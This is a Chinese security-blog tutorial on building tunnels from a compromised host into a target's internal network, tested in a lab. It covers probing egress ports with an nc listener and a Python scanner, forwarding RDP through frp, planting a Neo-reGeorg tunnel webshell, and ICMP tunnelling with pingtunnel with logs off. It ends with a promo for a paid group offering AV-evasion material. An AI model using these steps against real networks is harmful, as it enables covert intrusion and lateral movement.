免责声明
由于传播、利用本公众号琴音安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号琴音安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!
0X01背景
为什么要搭建隧道,在我们拿到目标webshell或者一台主机的shell后,我们想要上线cs,或者进行横向,就会受到很多限制,这时候就需要把内网打通,让我们可以连接到目标内网中,想要连接目标内网,就需要通过拿下shell的机器充当一个跳板机,通过跳板机访问内网的其他目标机器,为了方便后续的渗透,搭建隧道是进入内网后必不可缺的一个步骤.
0X02常见的几种情况
1.目标出网情况下
部分端口出网情况探测
这种情况下,我们首先需要找到是哪些端口可以出网,这时候就需要一台公网vps,我们可以在vps上监听请求,用目标机器去对vps的端口进行连接,也就是端口扫描,看目标机哪个端口可以向主机进行连接,那么这个端口就出网。
环境:在同一个nat网卡下的两台虚拟机
windows做为目标主机
设置防火墙,禁用0-35555和35557-65535,只允许连接35556端口
服务器的操作
设置把所有端口的请求转发到34444
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
再用nc对34444端口进行监听
nc -lvp 34444
然后使用目标机(windows)去对kali(服务机)进行全端口探测,查看哪个端口可以连接到,可以用端口扫描工具,但是部分工具可能没有效果,也可以自己写一个建立socket连接的脚本,如下
import socket
def test_outbound_port(port):
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.settimeout(1)
result = client_socket.connect_ex(('192.168.30.128', port))
if result == 0:
print(f'端口 {port} 可以出网')
else:
print(f'端口 {port} 没有出网')
client_socket.close()
except KeyboardInterrupt:
print('用户终止测试')
break
except socket.error:
print(f'无法连接到端口 {port}')
for port in range(34560,34570):
test_outbound_port(port)
目标探测到可以和主机的35556建立连接,我们就可以通过35556端口和目标机搭建隧道
搭建隧道
这里我们测试用frp把目标机的3389端口转发到服务器的3389上,然后我们就可以连接服务器的3389端口连接目标机
主机ip:192.168.30.129
服务器ip:192.168.30.128
服务端配置
bindPort = 35556
客户端配置
serverAddr = "192.168.30.128"
serverPort = 35556
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 3389
可以通过kali远程目标机,可以看到隧道搭建成功了
总结
该过程的流程就是,攻击机和目标机分处两个内网环境下,目标机只有指定端口可以出网,这里是35556端口出网,也就是目标机只能与外界的35556端口进行通信,所以可以通过这个端口与我们的vps搭建隧道,打通目标机的所有端口,在vps监听35556端口,目标机与vps进行连接,通过反向代理,把目标机的端口从35556端口转发到我们vps上指定的端口,这时候我们就可以通过攻击机对vps发起请求,vps把请求再给到目标机,达到攻击机和目标机通信的一个效果.
2.目标不出网的情况下
这里的不出网并不是严格意义上的不出网,是指我们拿到网站的webshell后,我们只能通过http协议和目标进行通信,也可以叫做只有http协议出网,这种情况下,我们需要搭建http隧道,通过http隧道打通目标
搭建http隧道有很多工具可以使用,这边使用的是Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg
Neo-reGeorg是一个旨在积极重[reGeorg](https://github.com/sensepost/reGeorg) 的项目,目的是:
- 提高可用性,避免特征检测
- 提高 tunnel 连接安全性
- 提高传输内容保密性
- 应对更多的网络环境场景下使用
这边我们拿php的环境进行测试
首先设置我们的连接密码,password改成自己的密码
python neoreg.py generate -k password
在neoreg_servers目录下,找到我们需要的文件,放到web服务目录下这边我们把tunnel.php放到web目录下
访问该文件成功说明被成功解析
192.168.30.130/mmm/tunnel.nosocket.php
然后在vps上执行下边命令监听
python3 neoreg.py -k password -u http://192.168.30.130/mmm/tunnel.php -l 192.168.30.128
-k是密码参数,-u是目标机的地址,-l是监听的我们的本地地址,一定加-l,不然其他机器无法连接
这样我们就成功建立了socks5隧道
可以在我们本机上测试
Proxifier连接测试
浏览器代理测试
浏览器可以成功访问目标机的网站
3.ICMP协议出网
icmp协议,我们常用的ping命令就是使用的icmp协议,在其他方式无法出网,但是icmp协议可以出网的情况,我们可以通过把数据包封装在icmp协议中进行通信,使用icmp协议通信就需要搭建icmp隧道,接下来介绍icmp隧道工具和使用方法
pingtunnel
pingtunnel只能进行正向代理
https://github.com/esrrhs/pingtunnel/
-h参数可以看到详细使用方法,这边只介绍如何搭建socks5代理
使用前首先要关闭服务端icmp回复(1换成0是开启)
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端
sudo ./pingtunnel -type server -noprint 1 -nolog 1
-noprint1 不打印屏幕输出 -nolog 1 不输出日志
客户端
pingtunnel.exe -type client -l :1080 -s 192.168.30.128 -sock5 1 -noprint 1 -nolog 1
还有一些icmp隧道工具,这里不举例展示,实战中icmp协议上线cs可能存在丢包情况,不稳定,而且存在大量icmp数据包,特征明显.
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读